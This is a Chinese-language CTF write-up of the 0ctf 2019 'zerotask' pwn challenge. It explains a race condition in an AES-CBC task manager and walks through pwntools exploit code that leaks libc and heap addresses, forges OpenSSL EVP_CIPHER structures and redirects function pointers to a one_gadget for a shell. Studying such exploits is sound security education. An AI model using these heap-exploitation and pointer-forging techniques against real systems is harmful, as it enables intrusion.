0ctf2019 zerotask

0ctf 2019 pwn题的第一道

感觉0ctf好难啊,一道都没有做出来,而且docker一直在update,环境一直有问题,这篇是根据大佬的writeup学习的过程,想记录下来。

题目描述

这道题有三个功能,add、delete和一个特殊的函数sub_165A(),可以创建、释放任意id的task,在创建时题目使用AES算法的CBC模式对数据块进行加密,其中数据块的大小自己看的时候没有找到漏洞,用户自己定义,0x0<size<0x1000。在函数sub_165A()创建了一个新的线程,对指定id的task的数据块进行加解密操作。

题目开的保护情况:

1

在整个逻辑中有一个结构体,这里命名为task,具体结构如下:

1
2
3
4
5
6
7
8
0x0  data_addr #用户定义的数据块的地址,长度为0x8
0x8 data_size #用户定义的数据块大小,长度为0x8
0x10 flag #标识加密还是解密,加密为1,解密为2,长度为0x4
0x14 key #加解密使用的密钥key,长度为0x20
0x34 iv #加解密使用的IV初始向量,长度为0x10
0x58 EVP_CIPHER_CTX_ptr
0x60 task_id #用户定义的task_id
0x68 next_ptr #task以链表形式连接,新分配的task插入链表的头节点

加解密过程

该题目使用OpenSSL中的EVP库完成加解密过程,具体可以参考这篇博客,程序中涉及到了以下函数:

1
2
3
4
5
6
7
EVP_CIPHER_CTX_new() #创建EVP_CIPHER_CTX
EVP_EncryptInit_ex() #加密操作时初始EVP_CIPHER_CTX
EVP_DecryptInit_ex() #解密操作时初始EVP_CIPHER_CTX
EVP_CIPHER_CTX_free() #释放EVP_CIPHER_CTX
EVP_aes_256_cbc() #256位CBC模式的加密算法,返回该算法的结构体
EVP_CipherUpdate() #对称加密算法的加/解密函数
EVP_CipherFinal_ex() #对称加密算法的加/解密函数,用来处理最后一个分组

整个加解密过程涉及到两个基本的数据结构,EVP_CIPHER与EVP_CIPHER_CTX,具体定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#EVP_CIPHER_CTX
#https://github.com/openssl/openssl/blob/master/crypto/evp/evp_locl.h
struct evp_cipher_ctx_st {
const EVP_CIPHER *cipher;
ENGINE *engine; /* functional reference if 'cipher' is
* ENGINE-provided */
int encrypt; /* encrypt or decrypt */
int buf_len; /* number we have left */
unsigned char oiv[EVP_MAX_IV_LENGTH]; /* original iv */
unsigned char iv[EVP_MAX_IV_LENGTH]; /* working iv */
unsigned char buf[EVP_MAX_BLOCK_LENGTH]; /* saved partial block */
int num; /* used by cfb/ofb/ctr mode */
/* FIXME: Should this even exist? It appears unused */
void *app_data; /* application stuff */
int key_len; /* May change for variable length cipher */
unsigned long flags; /* Various flags */
void *cipher_data; /* per EVP data */
int final_used;
int block_mask;
unsigned char final[EVP_MAX_BLOCK_LENGTH]; /* possible final block */
} /* EVP_CIPHER_CTX */;

在每一个task中,程序为其分配了0xb0的堆块以存储EVP_CIPHER_CTX结构:

2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#EVP_CIPHER
#https://github.com/openssl/openssl/blob/master/crypto/include/internal/evp_int.h
struct evp_cipher_st {
int nid;
int block_size;
/* Default value for variable length ciphers */
int key_len;
int iv_len;
/* Various flags */
unsigned long flags;
/* init key */
int (*init) (EVP_CIPHER_CTX *ctx, const unsigned char *key,
const unsigned char *iv, int enc);
/* encrypt/decrypt data */
int (*do_cipher) (EVP_CIPHER_CTX *ctx, unsigned char *out,
const unsigned char *in, size_t inl);
/* cleanup ctx */
int (*cleanup) (EVP_CIPHER_CTX *);
/* how big ctx->cipher_data needs to be */
int ctx_size;
/* Populate a ASN1_TYPE with parameters */
int (*set_asn1_parameters) (EVP_CIPHER_CTX *, ASN1_TYPE *);
/* Get parameters from a ASN1_TYPE */
int (*get_asn1_parameters) (EVP_CIPHER_CTX *, ASN1_TYPE *);
/* Miscellaneous operations */
int (*ctrl) (EVP_CIPHER_CTX *, int type, int arg, void *ptr);
/* Application data */
void *app_data;
} /* EVP_CIPHER */ ;

在每一个task中,程序为其分配了0x110的堆块以存储该结构,其实在EVP_CIPHER_CTX结构的第一个成员中,我们也可以得到EVP_CIPHER结构体的地址:

3

可以看到,EVP_CIPHER是EVP_CIPHER_CTX结构体的成员,在EVP_CIPHER中,有很多指向函数的虚表指针,在漏洞利用过程中就是伪造了上面两个结构体,将EVP_CIPHER结构体中的函数指针指向我们的one_gadget。

程序漏洞

自己在做的时候没有找到漏洞,看了别人的writeup才知道是条件竞争的漏洞,虽然条件竞争在操作系统里学过,但第一次遇到这种漏洞和利用方式。在第三个功能“Go”中调用了函数sub_165A(),该函数中创建了一个新的线程,对对应task_id的数据块进行加密操作,然后输出,但是在进行这些操作之前有一个sleep(2),这就导致条件竞争漏洞,在线程sleep的时间可以释放这个task_id的数据块,然后再malloc,可以进行地址的泄露和伪造数据块。伪造EVP_CIPHER是EVP_CIPHER_CTX结构体,将EVP_CIPHER结构体中的函数指针指向我们的one_gadget。

利用过程

初始分配4个task:

1
2
3
4
5
6
7
key = "1"*0x20
iv = "2"*0x10
add(10,1, key, iv, 0x30, "x"*0x30) #0x30
add(0, 1, key, iv, 0x410, "x"*0x410) #0x420
add(1, 1, key, iv, 0x10, "y"*0x10) #0x20
add(2, 1, key, iv, 0x410, "x"*0x410) #0x420
add(3, 1, key, iv, 0x10, "y"*0x10) #0x20

利用条件竞争漏洞,进入“Go”功能3,在加密线程sleep(2)期间释放task_0和task_2,重新分配一个与task_0大小相同的task,这里是task_1,一直输入至数据块大小,不输入数据,这时指定进行加密操作的task_0经历释放至unsortedbin中又被malloc为task_1,但未进行数据填充,堆块的fd和bk中分别存储着main_arena+88的地址和heap_addr。至于为什么还要分配0x510的堆块,这里没有什么作用,不分配也可以。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
p.sendlineafter("Choice: ", "3")
p.sendlineafter("Task id : ", "0")

delete(0) #0x420
delete(2) #0x420
add(2, 1, key, iv, 0x500, "c"*0x500) #0x510

##add(1,1,key,iv,0x410) #0x420
p.sendlineafter("Choice: ", "1")
p.sendlineafter("Task id : ", "1")
p.sendlineafter("Encrypt(1) / Decrypt(2): ", "1")
p.sendafter("Key : ", key)
p.sendafter("IV : ", iv)
p.sendlineafter("Data Size : ", str(0x410))

4

由于输出是加密之后的数据块,我们只需用相同的key和iv进行解密即可得到libc和heap的地址,这里有一个问题是程序密文的输出长度不定,有时不是16的整数倍,然后exp会报错,没有找到原因,多试几次就可以了,后续调试中为了避免这个问题我就把地址随机化给关了,然后在exp中把libc_base和heap_leak写死。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#task 0 is task 1,fd is heap_addr,bk is main_arena+88
p.recvuntil("Ciphertext: \n")
x = p.recv(3232)
cipher = x.replace(" ","").replace("\n","")
#print len(cipher)
cipher = cipher[0:256]
plain = decrypt(key, iv, cipher.decode("hex"))
libc_leak = u64(plain[0:8].ljust(8,'\x00'))
heap_leak = u64(plain[8:16].ljust(8,'\x00'))
libc_base = libc_leak - 0x3ec090
print "libc_base:",hex(libc_base)
#libc_base = 0x7ffff7382000
#heap_leak = 0x555555757000 + 0x1730
p.send('a'*0x410) #不要忘了这句,线程退出后程序还等着data的输入呢

另外在调试时发现如果在加密线程中attach时gdb的符号表已经没有了,看不了堆的分布情况,这个时候使用命令“add-symbol-file”手动添加符号表时,gdb显示符号表添加成功了,但是main_arena的地址错误,只有偏移,没有加libc的基址,至今没有找到解决方法。但是可以在线程结束之后再attach就可以了,但这样就是看不了线程中堆的分布。

5

接下来就是伪造两个结构体,在task_7中伪造了EVP_CIPHER_CTX结构体,第一个成员为EVP_CIPHER的地址,指向task_8,在task_8中伪造了EVP_CIPHER结构体,将结构体中前2个虚表指针修改为one_gadget,原来这两个指针指向的函数分别完成初始化初始化密钥和加/解密的功能,所以在“Go”功能3中完成加解密操作时一定会调用这两个函数。

1
2
3
4
5
6
7
8
9
10
11
12
add(4, 1, key, iv, 0x10, "4"*0x10) #0x20
add(5, 1, key, iv, 0x10, "5"*0x10) #0x20
add(6, 1, key, iv, 0x10, "6"*0x10) #0x20
one_gadget = libc_base + 0x10a38c #0x00007ffff748c38c

fake_evp_cipher = p64(0x1ab)+p64(0x1000000020)+p64(0x1002)
fake_evp_cipher += p64(one_gadget) * 2
fake_evp_cipher += p64(0) + p64(0x108)
fake_evp_cipher = fake_evp_cipher.ljust(0xc0,'\x00')

add(7, 1, key, iv, 0xc0, p64(heap_leak+(0x55555575a550-0x555555758730)).ljust(0xc0,'\x00')) #fake fake EVP_CIPHER_CTX 0xd0
add(8, 1, key, iv, 0xc0, fake_evp_cipher) #fake EVP_CIPHER 0xd0

6

最后再利用题目的条件竞争漏洞,对task_4进行加密操作,在加密线程sleep(2)里释放task_4和task_5,再申请task_4,data_size为0x70,堆块的大小是0x80,大小正好是task结构体的大小,task_4其实伪造了一个task的结构,在堆的分布上说,正好伪造了task_4的task结构。因为释放了task_4和task_5,相应task结构体的堆块被释放,进入tcache 0x80中,这时趁着线程sleep又分配一个task_4,新的task_4的task结构体需要一个0x80的堆块,分配了原来task_5释放的task结构体相应的堆,task_4大小又是0x80,正好分配了原来task_4释放的task结构体相应的堆。在新的task_4中偏移0x58处是原来task_4的EVP_CIPHER_CTX结构体地址,我们将其修改为前面伪造的fake EVP_CIPHER_CTX,也就是task_7的数据块地址。这样在线程休眠结束后对原来的task_4进行加密时根据fake EVP_CIPHER_CTX找到fake EVP_CIPHER,调用fake EVP_CIPHER虚表指针,即one_gadget,即可获得shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
p.sendlineafter("Choice: ", "3")
p.sendlineafter("Task id : ", "4")

delete(4)
delete(5)

p.sendlineafter("Choice: ", "1")
p.sendlineafter("Task id : ", "4")
p.sendlineafter("Encrypt(1) / Decrypt(2): ", "1")
p.sendafter("Key : ", key)
p.sendafter("IV : ", iv)
p.sendlineafter("Data Size : ", str(0x70))


fake_task = p64(heap_leak+(0x555555758af0-0x555555758730))
fake_task += p64(0x10)
fake_task += p32(1) + key + iv
fake_task += p32(0) + p64(0)*2
fake_task += p64(heap_leak+(0x55555575a240-0x555555758730)) #fake EVP_CIPHER_CTX
p.sendline(fake_task)

参考

https://e3pem.github.io/2019/03/27/0ctf-2019/0ctf2019-zerotask/

https://blog.csdn.net/liao20081228/article/details/76285896